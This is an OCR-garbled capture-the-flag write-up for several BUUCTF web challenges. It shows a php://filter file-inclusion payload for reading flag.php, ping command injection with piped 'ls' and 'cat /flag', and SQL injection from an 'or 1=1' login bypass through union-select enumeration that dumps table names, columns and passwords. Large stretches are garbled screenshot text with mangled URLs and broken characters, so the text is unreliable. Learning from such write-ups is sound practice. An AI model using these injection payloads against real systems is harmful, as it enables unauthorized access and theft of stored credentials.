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INT * = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EN

@ Load URL /http:p'ffélg'dDd?2—bdea—463e—I::u8?0—164?943c553+.n0de4.|:>uuc:_i.cn
i split URL

3 Execute

Post data Referrer 4™ OxHEX ™
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<p style="font-family:arial;c rred;font-size:28px;text-alig enter;">
EEANER] LR R, HHRIT) L</p>
<a id="master" href=f./Archive 1. php'] style="background-color:#888808;height:78px;
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INT * = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTIO

@ Load URL /http:p’ffﬂgdﬂd?E—bdea—463e—b8?0—1ﬁ4?943c553f.n0de4.buuoj.cn,’JArchive_room.php
 split URL

3 Execute

Post data Referrer 4 OxHEX ™ & %URL ™ &% BASEGd P

Syclover @ elgy

SECRET
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Hsecret, HEEE, -
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faction.php 302 HTML php

/ room.php 20 HTML php
on.ico 2 302 HTML ico

vicon.ico 20 : HTML ico
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Pretty Render ‘\n Actions v

1 HTTP/1.1 302 Found
2 Server: ope

3 Date: Fri, 16 Jul 2
4 Content-Type

5 NT 6.1; WOW&4;

Connection: clc
ocation: end. pl

5 Accept-Lang s g 1 q (—Powered-By: PHP,
© Accept—Encoding: i Content—Length: 6
/ Refere

. buuoj. en/Archi @ DOCTYPE html >

8 Cookie: UM distinctid=
1

9 DNT: 1

0 Connection: close

RREELTHA, BAVIHET

= Load URL | http://f49d0d72-bdea-4632-b870-1647943c65af noded. buucj.cn/secr3tphp
B split URL

b Execute

[[] Postdata [] Referrer 4 OxHEX 3% 4% 9%URL 3% 4 BASEGd I | [nsert string to replace

Insert reg

<html>
{titlersecret</titled
<{meta charset="UTF-8">

<“php
highlight_file(_ FILE_ };
error_reporting (0);
$file=§_GET[ file'1;
ifistrstr (§file, .. /") | |stristr($file, “tp")||stristridfile, “input™) | |stristr(§file, “data™)) {
echo “Oh no!”;
exit();
1
include ($file);
i flasfiE T flaz. php 2
DV
</html>

XERRBAE T flag.php Bl . HEVHEE, YHHFHLZL.



@ Load URL | http://f49d0d72-bdea-463e-b870-1647943c65af.noded.buuoj.cn/flag.php
I split URL

] Execute

Post data Referrer 4 OxHEX & % %URL ¥ & BASEGA M | [nsert string to replace| | Insert replacing string

BERNEBEBATHEE M. B LEFEHERRL, FRBHERERT

file:// VjRIAHI RS
http:// Vil HTTPs Mk
ftp:// Vil ftp URL
Php:// ¥y a4 Nt
z1ib:// R4

Data:// ¥

Ssh2:// security shell2
Expect:// MELZHAKR
Glob:// EIRILECHICHHERE

filter AFEEFH/Hallow_url fopen E# allow_url_include

filter://resource=3CfFE%4E (AT LALEXS BLE AHRT)
php://filter Wit F R IRi%k X4

fn B AR B BUS T php U VRS, 7] Plbase644miy, HEiEAinclude® %, XFEMASHINNEphp X, A&iT, St
A Kbase64 4 iy

Hi&payload : http://f49d0d72-bdea-463e-b870-1647943c65af.node4 .buuoj.cn/secrdt.php?file=php:/filter/read=convert.oase64-
encode/resource=flag.php



Split URL

= 8= @

Execute

Load URL [ http://f49d0d72-bdea-463e-b870-1647943c65af noded.buuoj.cn/secr3t.phpMile=php://filter/read = convert base64-encode/resource=flag.php

[] Postdata [| Referrer @ OxHEX ¥ &% %URL ™» % BASEG4 T |f.ﬂse.'1" string to replace]

Insert replacing string Replace All X | @

CLLUL L CPUL CLILE WS,

$file=$_GET[ file ]1;

iflstratr($file, ”.. /") | Istristr(§file, “tp™)||stristr($file, “input™) | |stristr(§file, “data”)) |

echo “0Oh no!”;
exit();

i

include (§filel;

£/ FlagfiFE | flaz. php B
I

</html>

PCFETONUWVBFIGhObWw +Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAGICABbWVOYSBjaGFyc2VOPS)1dGYtOCI+C

B 2l|base644miy, MDA RIR)EKfag

=p style="tont-tamily:anal;colorred;tont-size:.2Upxtext-ahgnicenter; =

echo "=EHa+aM-5;EEEH
$flag = flagicb43f0bb-cead-4aTe-b79b-badbfb06aT7c}’;
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4= Load URL | htip:y//30f0835d-2190-4c73-a866-6fd48688b5ca.noded. buucj.en
B split URL

v Execute

[[] Postdata [T] Referrer ™ OxHEX ™ &% %URL ™» &% E

PING

EEA R EpingaIiiiE

PING

HEIRA T PATping s & HIBHR,  JBHHAT B 52 o

Al

ping 1.1.1.1 &dir

ik, 7EwindowsT, &TTLLERMAT T —% @< . dinkEn Aa084aET MpTA X,
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IR, RIEH AR, MiZARwindows& L, Riklinux,
Fping1.1.1.1|Is R—TF
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RILE B L1842 T A ANindex phpfI T, FZARBRAIEER

PING

index.php

REGRECEZHRT . TUPTERHFS. XM Hflag—RERBEER H 3.
ping 1.1.1.1 s i&—TF

PING

bin
dev
etc

home
lib
media
mnt
opt
proc
root

B4

ping 1.1.1.1|cat /flag

PING

flag{4cc85641-54f2-4b36-ad1f-4c49088dfd235}
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KR Wi ieasy sql. KA RERER
Tor1=1or'1"="1#
83 adminft ik S %5

Load URL /http:!j35d23353—6105—4{7&—93b2-e72960aed215.node4—.buuoj.cn i
Split URL
Execute

7

Post data Referrer €% OxHEX 3 @& %URL 3 @& BASEGA 3 | string to replace| | Insert replacing string

7| Replace All ™ 7

RE E

‘Hello admin !

Your password’is
'887c2fcf72e6¢c0debd3f3acd2a29e4fc'

F_=
B

RT —BRIAEH AW, FFHELLadminkS T

M 2FE R A Re ek FsqREN T

Load URL /http:,’fﬁfbDScﬁg—dﬂd3-4985-aZec-875?33Gg{cﬁg.noded.|:>uuoj.cn[check.php?username =118&password=11
Split URL

Execute

Post data Referrer €= OxHEX X 4= 9%URL ™» &= BASEGd I | [nsert string to rep | |_'-r-_-':'-'_' replac

BEEM A IK S %1, FFIRZ Mnameflpasswd /B R EgetiF R B, - -

BT RIX Y, W LIERE,
Setii&payload
/check.php?username=11’order by 1,2,3,4%23&password=11

@ Load URL /http:ffﬁfbﬂﬁcﬂg—d043—4985—a2ec—87a783Gg‘fcﬁ‘}.noded.buuDj.cnfcheck.php?username:11'orderby1,2,3%23&password:11
I split URL

3 Execute

Post data Referrer €% OxHEX ¥ &% %URL ¥ & BASEGd I | [nsert string to replace| | Insert replacing string

2 “Syclover @ clyy
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= Load URL /http:,’fﬁfbDScﬁg—dﬂd3-4985-aZec-875?33ﬁgfcﬁg.noded.|:>uuoj.cn[check.php?username=11'orderby1,2,3,4%23&password=ll
1 split URL

3 Execute

Post data Referrer €= OxHEX X 4% 9%URL ™» &= BASEGd I | [nsert string to replace| | Insert re

in.net/LizeP i

Forder by SRR, KIA =Arn] DAET), FIAIRLIREE T .

FAI14% 42 FHunion selectk B & #4E

@ Load URL /http:/,f'éfbDSCSQ—d043-4985—a2ec—8?a?e369‘fc69.node4.buuoj.cn/check.php?username=11' union select l,4version PﬁEE&password:ll
W split URL

» Execute

Post data Referrer 4 OxHEX 3 @ %URL ™ @ BASE6d I | [nsert string to replace| | Insert replacing string| [¥] Replace All

Hello 2 !

e S Your passWEIYETn-3.18-

MarlaDB' ;.: blog in.net/LizePing_

BT, BETROERBRERAELZET, BRUsqmapREA RN, MAMBECEARHA, HKITE!

KESRT, sqmapi AR, kEEF TiEN.

FFE T HEERAE,

username=1’ union select 1,database(),3#&password=1

hp?username=1' union select 1,database{},S%Bl&password:l

= BASEG4 ™ Insert string t ¥| Replace All

Hello geek =g

Your p ass%'rmm_ et/L

B3 |geekEE



username=1’ union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema=database()#&password=1

hp?username=1' union select 1, group_concatitable_name),3 from
ard=123

B BASEGA & | [nsert string to replace| | Insert replacing string| [¥] Replace All 2

" Hello geckusarioveysq1 !
Your Na std'fief:.-"ih;;[;::lg!S!l;ianet-"Lize Ping_

BEAPANR, BEREAWETE

username=1’ union select 1,group_concat(column_name),3 from information_schema.columns where
table_name=‘10ve1ysq1’%23&password=1



32ec-87a7e369tcb9.noded . buucj.cnfcheck.php?username=1" union select 1, group_concat(column_name),3 from
: where table_name='|Ove1ysq1'%23|&password= 1

& (OyHEX ™ &= URL ™ 4 BASER] Insert string to replace| | Insert replacing string| [¥] Replace All 38 |3

" ‘- ——
e
Hello id,username;password:.!_

BB R AR

username=1’ union select 1,group_concat(password),3 from I0ve1ysq1%23&password=1

| hitp://6fb05c69-d043-4985-a2ec-87a7e369fch9.noded buuoj.cnfcheck.php?username=1' union select 1,group_concat(password),2 from
|0velysql%623 & password=1

Post data Referrer €% OxHEX 3% &% cfURL & 4 BASEGd B | s, to replace| | Inse j ng| [¥] Replace All 3 |

‘F’M%aﬁﬁﬁd%zﬂ"_wanm_a
a8ce-411b-aa7a&160cfe8ETS:

Hello

wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu de_mao_bo_he,cldy,di
_2 kuai_fu_ji,di_3 kuai_fu_ji,di_4 kuai_fu_ji,di_5 kuai_fu ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8 kuai_fu ji,Syc_san_da_hacke
rflag{2f17de75-a8ce-411b-aa7a-e160cfc8c783}!

BE8Eflag, WARHAT .
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